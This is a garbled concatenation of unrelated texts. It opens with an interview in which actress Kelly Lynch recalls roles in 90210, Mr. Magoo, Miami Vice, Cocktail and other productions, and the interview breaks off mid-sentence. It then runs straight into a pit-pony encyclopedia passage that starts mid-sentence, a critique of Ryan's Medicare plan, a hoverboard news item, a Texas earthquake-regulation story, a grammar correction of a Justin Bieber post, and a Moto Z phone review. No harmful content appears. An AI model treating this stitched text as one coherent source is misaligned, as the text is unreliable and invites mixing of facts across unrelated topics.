KL: Well, you know, that was really fun, because I realized that there’s a whole generation of kids who had no connection to me in a contemporary way. So I talked to my agent about doing something that would reach out to the younger audience, and this part came up, and I thought it’d be fun to do something on The CW. It also opened up a whole new cougar era for me. [Laughs.] I had no idea it was such a big character. It was only supposed to be, like, three episodes or something. It was challenging to do television like that. You get new pages in the morning that you’ve already memorized, and then they’re like, “Oh, no, that whole monologue is now this, and then you’re no longer there, you’ll be doing it like this instead. And your character won’t be in this scene, but now you’ve got this.” It was that fast. It certainly prepared me for the work I’m doing now on Magic City, although we’re a little bit more controlled. But doing television is not for sissies.
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It was definitely fun, though. I had a chance to work really close to where I live, since my character’s house is this great Lloyd Wright house that’s in my neighborhood in Los Feliz, so the commute was literally a few minutes’ bike ride. And I loved working with Gillian Zinser; I felt our storyline was less CW and more real. Her energy and her sort of Venice Beach grooviness, a tomboy and surfer girl. I see girls like that around L.A., but not the characters on 90210. Some of them are the more beloved characters, perhaps, but I just don’t see them. My daughter and I have a very close relationship like Ivy and Laurel had, and it was fun to sort of play my real life on TV, albeit with the cougar-esque aspect added. [Laughs.] But there was nothing too terribly rotten about me. Plus, there were the beautiful young guys. My husband’s like, “Hey! You can work with Stacy Keach, you can work with…” He had a list of guys who he said were okay for me to work with, most of them being around 80. Leslie Nielsen used to be on it. I’m like, “C’mon, Mitch, it’s just acting.”
Mr. Magoo (1997)—“Luanne”
KL: The opportunity to work with Leslie Nielsen was one of those that I could not pass up. He delivered, as I would’ve thought. A little bit off-screen, a little bit onscreen, but he was a complete sweetheart and really funny. It was my first encounter with martial-arts filmmaking. We had a Hong Kong filmmaker and, again, I had a team of people working with me on kicks and stunts, and I always try to do as much of that as I can. Jennifer Garner had a couple of scenes in the movie, and I thought she was adorable. When she broke through with [Alias], I said, “I thought there was something about her.” And it was fun. I mean, I got a chance to spend most of a winter in Vancouver, and I’m a skier, so the opportunity to work and ski was great. And Leslie was amazing.
AVC: You mentioned that he delivered off-screen as well as onscreen. Does that mean that you fell victim to his infamous whoopee cushion?
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KL: Oh, my God, of course. [Laughs.] It was everywhere. Usually I was the victim, with it underneath me, or sometimes it was directed at me. And I think I had 13 different identities in the film—and my sister had cancer and went through chemotherapy—and I had all these amazing human-hair wigs, so I asked production if I could give them to my sister, who was bald. So it was hilarious, because one day she would show up and she’d have, like, a little black China-girl sort of bob, and then long, red curly hair, and then be a platinum blonde. And people were like, “Where do you get those wigs?” So Mr. Magoo was fun for my sister as well as for me.
Miami Vice (1987)—“Lori ‘Blondie’ Swann”
KL: Oh, wow. That was amazing. That was kind of my first real meaty TV role. I played a peepshow girl, the bad-girl sister of Penelope Ann Miller, and in real life she was kind of… Penelope’s a pretty sexy, kind of randy actress. She was kind of that girl. I’m kind of a good girl. [Laughs.] So in real life, our personalities are completely different, but I’m drawn the way I’m drawn and she’s drawn the way she’s drawn. She had several boyfriends in the crew and cast, and I was, like, shocked. But I spent time at real peepshow sex performers, watching what they did. It was such a weird world, these girls who would turn it off and on. A lot of them are gay. You always learn something from the characters you play, especially when you enter another world that in real life you might not ever be exposed to. Of course, it’s just a TV show, so they just told me to look like a sexy girl who’s beautiful but bad.
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It was so much fun to work with the two leads in the show, but Don Johnson and Philip [Michael Thomas], they would literally be watching each other to see who was leaving the trailer first. As a young actor, I was just on set, ready to go, and we would just be waiting and waiting there, and I’d be like, “What’s going on? What are we waiting for?” And the second AD was like, “Ah, it’s just a thing. They both want to be the last one on the set.” And I’m like, “I don’t understand. Why would you want to be the last one on the set? Don’t they want to get here and get to work?” I was just so excited, and it was so much fun. I mean, it’s Miami Vice! It’s a cool show, it’s my first big part. And here we are waiting for these two actors. But he says, “This is what happens when you’ve been acting for awhile. You start doing this kind of stuff to keep it interesting.” It was so weird. But I was so enamored of the two of them because they were just so cool.
I remember going to Star Island one night because Don had a dinner party with the cast, which was nice. We had cocktails and dinner, and he brought us out to his big boat. And then all of a sudden, a tour boat comes by with its megaphone: “There’s Don Johnson now! Look, he’s there with his friends!” And this was kind of my first real exposure to what being that kind of star is like. And he turned around and looked at us and said, “It comes by every hour, hour and a half. Same boat, different group of people.” I just thought, “Oh, my God, no wonder he wants to stay in his trailer.” [Laughs.]
White Man’s Burden (1995)—“Marsha Pinnock”
KL: Well, Quentin Tarantino… I’m one of Quentin’s girls that he likes. I don’t know if you know, but he has a type, and it’s tall blonde girls. [Laughs.] And he said, “Look, there’s this movie, I think it’s a really cool idea: What if all the black people were white people, and the dominant race was black, and you’d have all these white-trash people…” And I said, “Yeah, that could be pretty cool. But it’s pretty literal, though.” “Yeah, but I think the script is good, and I really want you to do it.” And Desmond Nakano was directing, and he’s a really bright guy, and then it had John Travolta, who I adore, and Harry Belafonte. But it didn’t quite deliver, you know? I don’t know why except that it’s so literal in the storytelling.
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Also, in the middle of the movie, our dear friend Michael O’Donoghue died of a brain aneurysm. But John stopped production for me and let me go to New York to be with all of our friends, like Bill Murray, and say goodbye to Mr. Mike. The fact that they allowed me to do that and then just come back and pick up where we left off was kind of amazing. I look back on it and I think what a dear guy John is. I just can’t say enough about what an incredibly cool and good-hearted person he is. He really is a lovely human being. And incredibly funny. I wouldn’t say I’m a Method actor, but I keep in character until they say “cut,” and then I go home and I’m Kelly. But when I’m there and I’m working, I’m in a certain emotional place. Not John, though. He’s, like, goofing around and being incredibly funny, making everybody laugh, and then slams right into whatever it is he’s doing when they say, “We’re rolling.” It’s kind of amazing.
AVC: Just as a sidebar, in regards to your connection to Michael O’Donoghue, it’s hard to reconcile that your husband, the man who created Magic City, is also the same man who helped write Mr. Mike’s Mondo Video.
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KL: Oh, I know. And he’s in it, too! I don’t know if you realized that. In one scene, there’s a guy standing down by an adult-movie theater, and Michael O’Donoghue is up in a window filming him, and he said to Mitch, who’s this 23-year-old guy, “Okay, stand over there in that little area, we’re just gonna film some stuff.” And, of course, it was a gay movie theater, and all these older men kept coming up and propositioning him. [Laughs.] Michael thought it was so funny. Michael was just such a… He was just the most brilliant, funny man I have ever met in my life. And elegant. He was like Tom Wolfe and Sid Vicious in one man, just completely conflicting and contrasting. And hilarious. The world is much more dimly lit without him.
Heaven’s Prisoners (1996)—“Annie Robicheaux”
KL: My love affair with New Orleans began there. It was the first time I was in New Orleans for a film, and I knocked off my second of the Baldwin brothers. [Laughs.] I’ve still got Stephen to go, although I feel like I worked with him, because he came down there with Alec. When we were working on Lake Pontchartrain, I had a large houseboat as my dressing facility, and Alec decided he’d be really super-cool and get a cigarette boat, but he didn’t realize he wouldn’t really have a cabin or anywhere to go of significant space. My bitch barge, as I called it, had a pirate flag flying, and I pursued the cigarette boat and puttered along beside them and got them with water balloons so bad. Stephen made T-shirts and everything promising retribution, but I got ’em. It was a fun film to shoot, and great music. I just adore Alec. There was a scene where I was supposed to be crying hysterically, and Alec would suddenly go into a Captain Kirk impression. I was like, “You fucking asshole!” [Laughs.] Which reminds me: My family was so angry at me, because my character gets machined-gunned about a third of the way into the movie, but I didn’t tell my parents about it. I think my dad almost had a heart attack! But it was such a great experience being in New Orleans. It’s too bad that they weren’t able to make an ongoing series of Dave Robicheaux movies, because the books are great, but there was some sort of production mishap, and it just never happened.
The L Word (2004-2009)—“Ivan Aycock”
KL: Thank you, one of my favorite characters of all time. The way it came to me is that I’d just finished something heavy and dramatic, and I called my agent up and said, “Look, I want to do something romantic. I never get to do that. I’m always, like, the bad, sexy girl, the one who breaks up the marriage, the evil whatever. I want something romantic, sweet, fun, sexy, light.” “Done.” And I literally got a call later in the day. “Look, something just came our way, and it’s really romantic.” I said, “Great!” “You don’t have to audition or anything, they really want you, they think you can do it. We’re not sure, though, so you might not be sure.” “Send me whatever you’ve got!” And I basically get the sides for what the part is, and I’m like, “Ivan…?” And I called, and I’m like, “What is this?” And they’re like, “You’re a drag king.” “A drag king?”
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And then I get the full story: “Look, k.d. lang was going to do this part, but apparently she’s Leisha Hailey’s girlfriend, so that can’t happen. So they were just going to get rid of this character, but they want somebody to do it and they think you’re the actress that can pull it off. They have really good hair and makeup people.” And I’m like, “Okay, wait. So she’s, like, a guy? When do I have to do this?” “Well, you have to fly up tomorrow, and then the next day you have to do the drag show.” “Okay, is someone choreographing this?” “Well, no, not really. They’re letting you do that.” I was like, “Wait a minute, but I’m not a drag king, obviously. I don’t know how to do that.” So I took another look at it, and I said, “Okay, who’s the other woman?” “Pam Grier.” “Okay. And her character’s straight.” “Yes.” “But my character’s a lesbian woman who’s identifying as a man who’s in love with a 60-year-old black woman who’s straight.” “Yes.” And I went, “Okay, there will never be an acting challenge ever like this. Done. I’ll do it.” [Laughs.] And then I went, “Fuck!” And off I went to Vancouver.
They said, “Here’s the music we’re going to be doing for the drag show, if you want to choreograph something.” I met with the hair and makeup people, who were truly brilliant, and I said to them, “I want to look like Willy DeVille.” I wanted to do Gregg Allman, but I look too much like a girl. It didn’t work. So I was like, “Well, I’m too Tom Petty as it is, so let’s go with Willy DeVille.” [Laughs.] And they were so great, because I was so worried they were going to make me look like Clint Howard, and I would be funny rather than sexy and romantic and all the things I want to be. And they just gave me Halston suits and great hair and makeup. And Pam Grier was completely in for it. I said, “Pam, look, I’m straight.” She’s like, “I know.” Only two girls on that show were actually gay. But I said, “I’m coming at you, I’m gonna do it, I’m gonna pursue you and get you to fall in love with me. And you are gonna do it. And I’m not gonna make you. You just watch.” And she was laughing, but sure enough, it was this romantic, great thing. At one point, I’m singing Leonard Cohen’s “I’m Your Man” to her in a parking garage and dancing her around. It was amazing. I had the best time.
Quentin Tarantino, when he was dating Sofia Coppola, they were in Paris and watching The L Word because I was working with Pam, and he loves Pam. And they see my name in the credits, but they had to rewind. They’re like, “Which one were you?” “I’m Ivan!” These were two people who know me! So I loved it. And all the girls on the show were like, “Can we work with Ivan? I have kind of a little crush on Ivan.” [Laughs.] And I’ll be at a grocery store somewhere, often in L.A., and someone will come up to me and go, “You know, I’m straight, but I really had a crush on Ivan.”
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Cocktail (1988)—“Kerry Coughlin”
KL: My audition for that was wearing the many and various bikinis, which… I’d say they’re really just strings tied different ways. [Laughs.] No, that was actually a really complicated story about the ’80s and power and money, and it was really re-edited where they completely lost my character’s backstory—her low self-esteem, who her father was, why she was this person that she was—but it was obviously a really successful movie, if not as good as it could’ve been. It was written by the guy who wrote Fort Apache The Bronx [Heywood Gould], and it was a much darker movie, but Disney took it, reshot about a third of it, and turned it into flipping the bottles and this and that. But it was my first really big movie, and I’m making out with Tom Cruise, who is a really good kisser. [Laughs.] And we’re in Jamaica! Again, it was one of those things where I had to pinch myself. I couldn’t believe it. It was a great opportunity to me. And as embarrassed as I was with all those little bikinis, now I’m so glad. I’m all like, “Yep, that’s me. That’s me walking down those stairs with that butt hanging out right in Tom’s face. That is me.” But we had a really great time. And Tom was so much fun, just a ball to work with, both on and off camera. We’d go to bars in Jamaica, listen to music and hang out. Everybody was great. Bryan Brown was there, with his beautiful wife, Rachel Ward. It was a lot of fun with a great group of people, and it was a really successful movie.
Osa (1986)—“Osa”
KL: Osa was my very first movie, and I was picked on the streets of New York. At the time, I was still modeling. I was trying not to model, but… Look, I’m a girl from Minneapolis. Someone would call me up, my booker, and say, “You get this much money just to do this for this many hours,” and I would go. And I’d be missing an audition or a class or something I wanted to do for my acting, but I just couldn’t say no. I’ve always been a worker. I’m a union person. Some people feel like they’re artists, and I’ve felt that, but in my heart of hearts, I still feel like I’m a worker. I go to work. So I tried to sabotage myself as a model. I cut my hair really short, like Sting’s, and I dyed it almost white. And, of course, my modeling career took off. [Laughs.] And I was like, “Oh, great. Now I’m doing all sorts of other shit and I’m modeling night and day.” But I was walking around with this little Sting-y, short, androgynous haircut, and a Russian guy comes up to me and says, “Are you an actress?” And I was like, “Yeah…?” Just kind of thinking it would be funny to say that. And he said, “Good, because you’re the person.” And I’m going, “Oh, boy, what is it?” Thinking once again, “This is gonna be porn.” I get a card, and he says, “I want to meet with you. I want to talk to you about this little movie we’re doing in Guaymas, Mexico. It’s Mad Max themed, a futuristic thing.” I said, “Okay…”
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I had my agent at the modeling agency check it out, and she’s like, “Yeah, they’re really casting a movie.” So I decided I’d meet with them, because I hadn’t done a movie yet. I hadn’t really done anything. But I met with them, and they said, “We want you to do it,” but I said, “Okay, I’m taking acting classes, but…” “Okay, that’s great.” [Laughs.] Casting by hair. So I show up in Guaymas, Mexico, with a Russian director, a Mexican crew, and a French producer. And there are extras who are friends of the producer and director who only speak either French or Russian but don’t speak English, and much of the Mexican crew doesn’t speak English. We’re staying at a Club Med which was kind of off-season, the doors don’t lock, and I’m the only girl. One of the guys in the cast fell in love with me at one point and put his hand through a glass window and cut his wrist and almost died. Literally, he almost bled to death. There just weren’t any girls around, I think, and they were drinking a lot of Mescal and tequila. I, meanwhile, found out about two weeks into the production that I was pregnant with my daughter, and so I go from looking like a kind of androgynous tomboy to having a figure like Marilyn Monroe in a matter of, like, 24 hours. [Laughs.] And, again, I’m the only girl, and there’s no locks on these Club Med doors. I’m, like, shoving chairs under the doorknob.
We’d wake up in the morning and go to the set, which |
August 1946. The last working pit pony was brought out of the Drummond Coal Company colliery at Westville in 1978.
Probably the last colliery horse to work underground in a British coal mine, "Robbie", was retired from Pant y Gasseg, near Pontypool, in May 1999.[12] The last pony mine in the US, located near Centerville, Iowa, closed in 1971.[13] The last pit ponies used in Australia, Wharrier and Mr Ed of the Collinsville Coal’s No 2 Mine in Queensland, were finally retired in 1990 after many years’ service.[14]
Breed and conformation [ edit ]
Larger horses, such as varieties of Cleveland Bay, could be used on higher underground roadways, but on many duties small ponies no more than 12 hands high were needed. Shetlands were a breed commonly used because of their small size, but Welsh, Russian, Devonshire (Dartmoor) and Cornish ponies also saw extensive use in England.[1] In the interwar period, ponies were imported into Britain from the Faroe Islands, Iceland and the United States. Geldings and stallions only were used. Donkeys were also used in the late 19th century, and in the United States, large numbers of mules were used.[5] Regardless of breed, typical mining ponies were low set, heavy bodied and heavy limbed with plenty of bone and substance, low-headed and sure-footed. Under the British Coal Mines Act of 1911, ponies had to be four years old and work ready (shod and vet checked) before going underground.[15] They could work until their twenties.[citation needed]
Work [ edit ]
Nineteenth-century illustration of a stable in a mine.
Nineteenth-century illustration of a pony being lowered down a mine shaft at Creuzot, France.
In shaft mines, ponies were normally stabled underground[16] and fed on a diet with a high proportion of chopped hay and maize, coming to the surface only during the colliery's annual holiday. In slope and drift mines, the stables were usually on the surface near the mine entrance.[17]
Typically, they would work an eight-hour shift each day, during which they might haul 30 tons of coal in tubs on the underground mine railway. One 1911 writer estimated that the average working life of coal mining mules was only 3 1/2 years, where 20-year working lives were common on the surface.[16] Recollections differ on how well the ponies were cared for in earlier years.
See also [ edit ]
References [ edit ]
General reference [ edit ]
Bright, John (1986). Pit Ponies. London: Batsford. ISBN 0-7134-5226-9.Under the proposal, most elderly people who would be entitled to premium support payments would pay more for their health care than they would pay under the current Medicare system. For a typical 65-year-old with average health spending enrolled in a plan with benefits similar to those currently provided by Medicare, CBO estimated the beneficiary’s spending on premiums and out-of-pocket expenditures as a share of a benchmark amount: what total health care spending would be if a private insurer covered the beneficiary. By 2030, the beneficiary’s share would be 68 percent of that benchmark under the proposal, 25 percent under the extended-baseline scenario, and 30 percent under the alternative fiscal scenario.
The Congressional Budget Office, the gold standard of budget analysis, has picked apart the Ryan "Path to Prosperity" plan, and finds that it will substantially burden seniors.
Dean Baker does a bit more math: "Using the CBO assumption of 2.5 percent annual inflation, the voucher would have grown to $9,750 by 2030. This means that a Medicare type plan for someone age 65 would be $30,460 under Representative Ryan's plan, leaving seniors with a bill of $20,700. (This does not count various out of pocket medical expenditures not covered by Medicare.)"
According to the Social Security trustees, the benefit for a medium wage earner who first starts collecting benefits at age 65 in 2030 would be $32,200. (This adjusts the benefit projected by the Social Security trustees [$19,652 in 2010 dollars] for the 2.5 percent annual inflation rate assumed by CBO.) For close to 70 percent of seniors, Social Security is more than half of their retirement income. Most seniors will get a benefit that is less than the medium earners benefit described here since their average earnings are less than that of a medium earner and they start collecting Social Security benefits before age 65.
He also points out that the voucher system Ryan proposes won't keep pace with healthcare cost inflation. Costs will rise faster than the voucher amounts increase, and seniors will be paying more and more out of pocket. There's the Medicaid side of this as well, with many frail elderly reliant on that program for long-term care. The CBO says that the block grant plan might allow states to achieve great efficiences, but "the large projected reduction in payments would probably require states to decrease payments to Medicaid providers, reduce eligibility for Medicaid, provide less extensive coverage to beneficiaries, or pay more themselves than would be the case under current law."
Ryan actually calls this health care reform, saying in an interview with Bloomberg TV's Peter Cook, "If you don't address health care you don't fix the budget." This isn't addressing healthcare. Which I guess proves, once again, that there really isn't any Republican plan for healthcare reform. The only solution they have is to take it away from more people.ArcaBoard: a revolutionary breakthrough in hoverboard technology built in New Mexico Copyright by KRQE - All rights reserved Video
LAS CRUCES, NM (KRQE) - A New Mexico based company is looking to change the future as what started out as a child's idea is turning into something that could eventually benefit the state.
A Romanian company, with its headquarters in New Mexico, has now conquered the hoverboard. It's called an ArcaBoard, a revolutionary breakthrough in transportation technology.
"We chose New Mexico based on the basically the flight space and the opportunity with Spaceport America," said Chris Lang, Chief Operating Officer of ARCA Space Corporation.
Lang says their partnership and being based in Las Cruces is the perfect place to test the ArcaBoard.
The whole idea of creating the ArcaBoard started while hiking in the Las Cruces desert and in two short months and the board was on the market just in time for Christmas.
Helping them create and build these creations are New Mexicans. Lang says they're committed to hiring local by using New Mexico talent to design and manufacture the products.
"We hired our first employees in September this year so basically the city and the state of New Mexico have been very welcoming to us in helping us find the right people, qualified people, who basically can help us get to the next level as a company," said Lang.
Lang says they have 15 employees comprised mostly of New Mexico State University and Doña Ana Community College graduates.
ARCA plans to use what they did to create the board and apply it to some of its future projects like an unmanned vehicle and rocket technology.
"We do believe we are on the forefront of technology and the different applications that it can be used for. So, we are really excited to share that with the world in the future," said Lang.
The ArcaBoard itself is about 4 feet by 2 feet and weighs 180 lbs and is able to hover with the help of 36 electric ducted fans. It hovers about a foot off of the ground and can reach up to 12.5 mph.
If interested, the ArcaBoard goes for about $19,900. The company plans to begin shipping this April.
Resource: http://arcaspace.com/en/arcaboard.htmAn inquiry by the agency that regulates the oil and gas industry in Texas has found that oil and gas activity did not likely cause a swarm of earthquakes around the north Texas towns of Azle and Reno starting in 2013. The finding, however, flies in the face of a peer-reviewed scientific study of the quakes.
The Texas Railroad Commission is the strangely named agency that regulates the state’s oil and gas activity. The agency held a hearing in June looking at whether ExxonMobil subsidiary XTO Energy contributed to the earthquakes by pumping millions of gallons of drilling and fracking wastewater into the ground.
A peer-reviewed study out of Southern Methodist University had already found that that was “most likely” the cause, adding that industry data would be vital in widening the scope of future studies. But at the hearing, agency examiners weighed that study against the evidence put on the record. XTO was the only party that offered direct evidence, and examiners found in favor of an XTO well located near Azle and Reno.
“I feel appalled. It’s a slap in the face to every citizen of Texas, every citizen in the United States,” says Reno Mayor Lynda Stokes.
Reno was rattled by the string of earthquakes, and Stokes says the Railroad Commission is not doing its job.
“It’s on the side of industry,” she says. “It’s not there to regulate the industry, it’s there to promote the industry. It’s actually there for both, and that’s kind of like the fox watching the henhouse.”
The Railroad Commission has a staff seismologist, but he did not participate in the hearing.
In an email, a Southern Methodist University spokesperson wrote that the SMU seismology team stands by their peer-reviewed study.
Parties in the hearing have a couple weeks to object to the agency’s findings, but the only parties were XTO and the Railroad Commission itself.
The commission still needs to take final action on the case in a public meeting. Below, you can read the agency’s full order.
UPDATE: The original version of this story included Mayor Stokes' assertion that she had not been invited to the hearing. Upon reviewing her records she says she was notified, but believed the date of the meeting had been changed.OK. I’m not one to troll or play “Grammar Nazi” on my friends’ Facebook status updates (well, not often anyway), but I have to take Justin Bieber to task for constantly destroying the English language while addressing his gazillion fans on the Internet.
In his latest Instagram rant defending his recent antics (which have included lashing out at the paparazzi in the UK, ending up in the hospital because of “exhaustion” and taking the time to snap a “selfie” – no shirt, thank you – while lying in his hospital bed), The Biebs continued this proud tradition of complete disregard for the language of Shakespeare. Stratford’s golden son should know better.
So here it is: Justin Bieber’s Instagram rant, followed by the “Grammar Nazi” version. (Granted, had the note been posted without typos or mistakes, people would have assumed Bieber had hired someone to do it for him. And sorry for the “negativity,” Justin, but you could try harder.)
Everyone in my team has been telling me, “keep the press happy” but I’m tired of all the countless lies in the press right now. Saying I’m going to rehab and how my family is disappointed in me. My family is beyond proud, and nothing’s been said by them, my grandparents wouldnt know how to reach to press even of they did want to so that was a lie and rehab cmon. if Anyone believes i need rehab thats their own stupidity lol I’m 19 with 5 number one albums, 19 and I’ve seen the whole world. 19 and I’ve accomplished more than I could’ve ever dreamed of, i’m 19 and it must be scary to some people to think that this is just the beginning. I know my talent level and i know i got my head on straight. i know who i am and i know who i’m not My messege is to to believe. My albums could be about anything but my messages have been to never say never and believe, not to believe in me but to believe in yourself.. I honestly don’t care if you don’t believe in me because I believe in me, my friends believe, my family believe, my fans believe, and look where that’s gotten me so far.. I’m writing this with a smile on my face and love in my heart. Letting u know first hand how I feel rather than have these story linger. I’m a good person with a big heart. And don’t think I deserve all this negative press I’ve worked my ass off to get where I am and my hard work doesn’t stop here… All this isn’t easy. I get angry sometimes. I’m human. I’m gonna make mistakes. In gonna grow and get better from them. But all the love from you guys overcomes the negativity. I love u. Thanks
Here’s what you really wanted to say, Justin:
Everyone in my team has been telling me, “*Keep* the press happy” but I’m tired of all the countless lies in the press right now *saying I’m going to rehab and how my family is disappointed in me. My family is beyond proud, and nothing’s been said by them. My grandparents *wouldn’t* know how to reach *the* press even *if* they did want *wanted* to so that was a lie. *And rehab?* *C’mon.* *If anyone* believes *I* need rehab *that’s* their own stupidity. *LOL.* I’m 19 with 5 *Number One* albums; 19 and I’ve seen the whole world; 19 and I’ve accomplished more than I could’ve ever dreamed of. *I’m* 19 and it must be scary to some people to think that this is just the beginning. I know my talent level and *I* know *I* got my head on straight. *I* know who *I* am and *I* know who *I’m* not. My *message* is to to believe. My albums could be about anything but my *message* *has* been to never say never and believe, not to believe in me but to believe in yourself. I honestly don’t care if you don’t believe in me because I believe in me, my friends believe, my family *believes*, my fans believe, and look where that’s gotten me so far. I’m writing this with a smile on my face and love in my heart. Letting *you* know *first-hand* how I feel rather than have these *stories* linger. I’m a good person with a big heart. And *I* don’t think I deserve all this negative press. I’ve worked my ass off to get where I am and my hard work doesn’t stop here… All this isn’t easy. I get angry sometimes. I’m human. I’m *going to* make mistakes. *I’m* *going to* grow and get better from them. But all the love from you guys overcomes the negativity. I love *you.* Thanks.
–
Follow me on Twitter: @FMarchandVSMotorola is trying something new—it's like a whole new company with new owners, new phones, and a new approach to making money on said phones. The Moto Z and Z Force (currently only available as Verizon exclusives) are "modular" phones with a series of snap-on rear panel accessories. They're also very thin and lacking a headphone jack. There are certainly reasons to be skeptical of these devices, but they're also very interesting in an industry that has had trouble innovating beyond the standard black slab.
Motorola has priced the Moto Z phones much higher than the last flagship Moto X, but do they warrant that? Spoiler: I think the use case for the Moto Z is extremely narrow, but that doesn't mean it's necessarily a bad phone. Let's break it down.
Specs SoC Snapdragon 820 RAM 4GB Display 5.5-inch 1440p AMOLED (ShatterShield technology on Force) Storage 32GB plus microSD card Battery 2600mAh (Moto Z), 3500mAh (Moto Z Force) Camera 13MP (Moto Z), 21MP (Moto Z Force) Measurements 5.19x75.3x153.3mm, 136g (Moto Z) - 6.99x75.8x155.9mm, 163g (Moto Z Force) Price $624 (Moto Z), $720 (Moto Z Force)
The Good Performance The Moto Z and Z Force are some of the fastest phones I've used. Design The Moto Z is really, really thin and light, if you're into that. Cameras The best cameras Motorola has ever produced, and competitive with other premium phones. The camera app is much improved too. Display The 1440p AMOLED panel looks fantastic. ShatterShield on the Force is legitimately shatter-resistant. Fingerprint sensor It's fast and accurate. Software Stock-ish Android with Motorola enhancements. Moto Display is still rad.
The Not So Good Battery life The Moto Z's battery life is not good enough. Design again The completely flat back and huge camera hump is not the best look. The button layout is poor as well. Verizon exclusivity Only the Moto Z will come out as an unlocked device, and it will only support GSM/LTE. The Mods None of the Mods available at launch are very compelling. They're all too heavy to carry around, and the speaker and projector are impractical on a basic level. No headphone jack Why, Motorola? This adapter nonsense is terrible. Pricing Motorola has priced these phones higher than the Moto X, which is fine. However, it expects you to buy Mods priced $60-300 in addition? Boo.
Design and display
The Moto Z and Moto Z Force have a lot in common, except when it comes to some elements of the external design and display. The first thing you'll notice when picking up the Moto Z is that it's almost unbelievably thin at just 5.19mm, and it weighs 136g. That's impressive for a phone with a 5.5-inch display. The phone's flat aluminum back isn't the most comfortable, but it's saved somewhat simply because it's so light. There's an unusual texture to the aluminum panel that makes it a bit of a fingerprint magnet—not something I'd usually expect from a metal phone.
The camera sticks out on the back of both phones several millimeters, and the bottom has the exposed pins for the Moto Mod accessories. It looks somewhat unfinished to me, probably because Motorola really, really wants you to put some Mods on it. The phone comes with a simple style shell that brings the camera hump flush with the rear surface (they're quite thick). It makes the phone feel more normal in the hand. Although, that seems like it defeats the purpose of making the phone so thin if you use the cover all the time. And Motorola pushes the thinness angle. All the promo images of the phone are either with mods or bare. The style shells are rarely shown.
The buttons are all on the right edge toward the top, and as I said in the hands-on post, I'm not really a fan. They're clicky and don't rattle around, but the separation is poor. The power, volume up, and volume down buttons are all the same size and shape with the same distance between them. That makes it hard to find the right one by feel—you have to run your finger over them a few times to feel for the different texture of the power button. Luckily, I haven't had to use the buttons much. The fingerprint sensor can be used to wake and unlock the phone, and a long-press of the sensor puts the phone back to sleep. That takes a little getting used to so you don't accidentally put your finger on it while using the phone, but it's very handy.
As for the fingerprint sensor itself, it performs very well. I'm more in favor of rear-facing sensors, and this one looks rather tacked on. Still, it's very fast and accurate. I have not had to worry about the angle my finger is at when reading, and it responds quickly. I don't think I've had more than a handful of failed attempts in my time using the phone.
On the bottom is the USB Type-C port... the only port. As you've all probably heard by now, this phone has no headphone jack. I'm going to come out now as strongly pro-3.5mm jack. It's far too soon to abandon this port, and the Moto Z is a worse phone for trying. For one, there's no way currently to charge and have audio out at the same time. Maybe an adapter will come out eventually, but it doesn't exist yet. There's an adapter in the box that turns the Type-C plug into a standard 3.5mm jack, but that's another thing to carry around. If you lose it (and I'm sure I will), good luck finding a quick replacement. I've already encountered a few instances where I needed a 3.5mm jack, but I didn't have the adapter. So, I just didn't have audio. This is a dumb decision, and I'm not convinced it's only because of the phone being too thin. The Z Force is definitely thick enough and it doesn't have one either. Moto wants this for some reason.
Being so thin, there's potential for the Moto Z to feel too angular, but the edges have a nice rolled shape that blends smoothly into the 2.5D front glass panel. It's actually grown on me as I've used it. The Force, however, is thicker at 6.99mm and the front does not have that same 2.5D glass panel. In fact, it's plastic. That's because the Force has Motorola's ShatterShield technology. That includes multiple layers of impact-resistant plastic that won't crack. I've given it a few solid wacks, and yep, no cracks. I don't know that it's worth the trade-offs to me, though. The edge is flat instead of curved, and it's rather sharp. Because it's plastic, the screen on the Moto Z Force can scratch, which the Gorilla Glass on the Moto Z will not. Indoors the screens look identical, but the plastic layers on the Z Force have strange reflectivity outdoors that I'm not crazy about.
The 5.5-inch AMOLED display definitely looks like something you'd see in a premium smartphone, and AMOLED makes much more sense considering Motorola's Moto Display feature. The LCD on the Moto X Pure was an outlier. With the 1440p AMOLED, you get perfect contrast and black levels for Moto Display, and the screen's other qualities are nice too. The viewing angles are perfect; I see no color casting or dimming at all. The brightness is sufficient to use outdoors, and the colors are solid. Neither of these are as good as the Galaxy S7, which continues to have the best AMOLED I've seen. Still, it's a very attractive screen.
I will note that the default "vibrant" calibration is a little too rich if you want accurate colors. You might want to flip that to "standard" in the settings. Below the screen are the two motion sensors that wake up Moto Display when you wave your hand over. I'm happy Motorola kept this feature.
Cameras
The camera is another place where Motorola is trying to differentiate the Moto Z and Moto Z Force. The regular Moto Z has a 13MP camera and the Z Force has a 21MP camera. Both of them include an f/1.8 aperture, laser autofocus, optical image stabilization, and a dual LED flash. Oh, and the front-facing 5MP camera has a selfie flash.
The higher resolution camera on the Z Force seems to be slightly better for capturing detail (duh), but I don't think it's a significant enough difference to make the regular Moto Z look bad. Outdoor shots look virtually identical if you don't crop or zoom. Exposures are very even on both, but that comes from HDR mode flipping on fairly often—you'll get a popup telling you to hold steady. That will mean longer capture times. The cameras just aren't as fast as Samsung's or LG's flagship devices.
Some Moto Z samples:
Indoors, both of them have reasonably good color balance and not too much noise in darker areas. Again, you'll see some extended capture times when light is less than ideal, this time thanks to night mode. As with HDR mode, you'll get a popup that tells you to hold the device steady. The Moto Z Force starts to pull ahead when light gets a bit dimmer. It has less noise, more accurate white balance, and better colors. Weirdly, I feel like the regular Moto Z does better in low light, mostly because it has more consistent white balance in these situations. Both will get a little noisy, but the photos are usable. Again, neither of these phones does as well as the best Android cameras out there, but they're competitive. There are no glaring issues that I would consider deal breakers. The shutter lag is just a little long, but I hope Motorola can address it.
Moto Z Force samples:
So, the cameras are acceptable for flagship phones, but not awe-inspiring. I am, however, a little in awe of how much better Motorola's camera app has gotten. For years the company has insisted on the tap to capture interface, which was mutually exclusive with standard tap to focus. Now, the default is to have a shutter button, thank goodness. There's also a pro photo mode with adjustable sliders for exposure, white balance, focus, and so on. It's the same app now available on the Moto G4. It's a vast improvement over Motorola's old camera app.
Performance and battery
The Moto Z phones have some issues, sure, but speed is not one of them. Unless you consider going too fast a problem. I mean, I don't. Both phones have Snapdragon 820 SoCs and 4GB of RAM. I've got a few benchmarks below, if you're into that sort of thing.
These phones are fast to the point that you can actually tell a difference using them compared to other similarly specced phones. Scrolling, multitasking, web page rendering, and all the other general smartphone things are buttery smooth on the Moto Z and Moto Z Force.
